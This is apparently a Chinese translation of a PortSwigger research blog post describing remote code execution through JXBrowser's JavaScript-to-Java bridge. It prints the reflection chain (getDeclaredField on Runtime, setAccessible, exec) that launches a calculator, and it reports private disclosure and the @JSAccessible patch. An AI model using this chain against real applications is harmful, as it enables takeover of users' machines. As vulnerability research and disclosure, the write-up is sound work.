原文链接:PortSwigger Web Security Blog

原作者:Gareth Heyes

译:Holic (知道创宇404安全实验室)

最近发现自己在使用 JXBrowser 给实验性扫描技术制作原型,这是一个在 Java 应用中使用类似 PhantomJS 浏览器的库。在使用 JXBrowser 库创建 JavaScript 与 Java 之间的桥接时,我很好奇是否可以通过调用与现有不同的类,来攻击 JXBrowser 的客户端页面,从而实现远程代码执行的目的。我的 JavaScript to Java bridge 如下所示:

browser.addScriptContextListener(new ScriptContextAdapter() {  
    @Override
    public void onScriptContextCreated(ScriptContextEvent event) {
        Browser browser = event.getBrowser();
        JSValue window = browser.executeJavaScriptAndReturnValue("window");
        window.asObject().setProperty("someObj", new someJavaClass());
    }
});

本例取自 JXBrowser 演示站点,基本原理是将一个脚本注入到浏览器实例中,检索 window 对象并将其转换为 Java JSValue 对象,然后将 "someObj" 设置到 window 上,并将 Java 对象传递给 JavaScript window对象。如此,便桥接成功了。相关文档说,只能使用公共类。一旦我们创建了一个桥,我们就需要一些 JavaScript 与之交互。

setTimeout(function f(){  
    if(window.someObj && typeof window.someObj.javaFunction === 'function') {
      window.someObj.javaFunction("Called Java function from JavaScript");
    } else {
       setTimeout(f,0);
    }
},0);

我们有一个 setTimeout 来检测 "someObj" 属性的存在,它不会调用自身,除非我们这么做。我首先尝试使用 getRuntime() 查看是否可以获取运行时(runtime)对象的一个实例并执行 calc。我是这么调用的:

window.someObj.getClass().forName('java.lang.Runtime').getRuntime();  

得到以下错误回显:

Neither public field nor method named 'getRuntime' exists in the java.lang.Class Java object.

(找不到 getRuntime 方法)

难道不能调用 getRuntime?我试着用更简单方法:

window.someObj.getClass().getSuperclass().getName();  

貌似有效。我也试过枚举现有方法。

methods = window.someObj.getClass().getSuperclass().getMethods();  
for(i=0;i<methods.length();i++) {  
   console.log(methods[i].getName());
}

wait  
wait  
wait  
equals  
toString  
hashCode  
getClass  
notify  
notifyAll  

所以我能够成功枚举出这些方法。我决定尝试使用 ProcessBuilder ,看看接下来会发生什么。但每次试图调用构造函数时,我都失败了。看起来构造函数要求一个 Java 数组。这样的话,我需要创建一个 Java 数组的字符串,以便将它传递给 ProcessBuilder 构造函数。

window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance("open","-a Calculator");  
//Failed
window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(["open","-a Calculator"]);  
//Failed too 

稍微抛开这个问题,我试着创建另一个对象,证明了漏洞的存在。现在可以成功创建 java.net.Socket 类的一个实例。

window.someObj.getClass().forName("java.net.Socket").newInstance();  

我试图调用这个对象的 "connect" 方法,却遇到了参数类型不正确的问题。这确实证明,尽管我可以创建 socket 对象,但我不能使用它们,好在我可以创建它们。而这里需要注意一点,我没有给此方法传递任何参数。接下来我又试了 java.io.File 类,也失败了。我别无选择只能使用反射,但任何时候我都不能给函数提供正确类型的参数。newInstance 不可行,同样不能调用。

我需要援助,我需要 Java 专家帮我。幸运的是,在 Portswigger 工作,你永远不是屋子里最聪明的那个 :)。我向 Mike 和 Patrick 寻求帮助。我说明了将参数传递给函数要求一个 Java 数组的问题,所以我们开始寻求在 Java-JavaScript 桥中创建数组的方法。

Mike 认为使用数组列表可以解决,因为我们可以方便地使用 toArray 方法,将其转换为一个数组。

list = window.someObj.getClass().forName("java.util.ArrayList").newInstance();  
list.add("open");  
list.add("-a");  
list.add("Calculator");  
a = list.toArray();  
window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(a));  

这次的函数调用抛出了没有该方法的异常,并声明了我们的参数传递实际上是一个 JSObject。因此,即使我们创建了一个 ArrayList,toArray 被桥转换为一个 JS 对象,因此错误的参数类型被发送到进程生成器。

然后,我们尝试创建一个 Array。我们又使用了反射,在 java.lang.reflect.Array 上调用了新的实例。但它再次抛出参数类型不正确的异常,我们发送一个 double,但它要求一个 int。然后我们尝试使用 java.lang.Integer 。但是还是遇到这个问题。Patrick 认为我们可以使用 MAX_INT 属性创建一个巨大的数组 :) ,至少我们会得到 int 。然而“桥”把来自 java 的 int 转换为 double。

这便是我们试过的:

list = window.someObj.getClass().forName("java.util.ArrayList").newInstance();  
list.add("open");  
list.add("-a");  
list.add("Calculator");  
a = list.toArray();  
window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(a));  

我们得到了空指针异常,而且没有参数也不行,但这就是 JavaScript ,我想,为何没发送 123,将其作为参数。我认为它不会生效,但它实际上输出了我们的 max int。我们继续尝试用 max int 调用 Array 构造函数,当然也失败了。然后我们决定查看运行时(runtime)对象,看看能否使用相同的技术。Mike 建议使用 getDeclaredField ,并获取当前运行时的属性,使其可被访问,因为它是一个私有属性,我们很开心地看到弹出了计算器。

field = window.someObj.getClass().forName('java.lang.Runtime').getDeclaredField("currentRuntime");  
field.setAccessible(true);  
runtime = field.get(123);  
runtime.exec("open -a Calculator");  

这意味着通过使用 JavaScript-Java 桥的代码在 JXBrowser 中呈现的网站,都可能完全控制客户端。

我们私下向 TeamDev(JXBrowser 的制造商)报告了这个问题,他们发布了一个补丁,支持使用 @JSAccessible 注释规定允许的属性/方法的白名单。请注意,如果应用程序在任何地方都不使用 @JSAccessible 注释,白名单不会被强制执行,上述利用脚本依然有效。

Enjoy - @garethheyes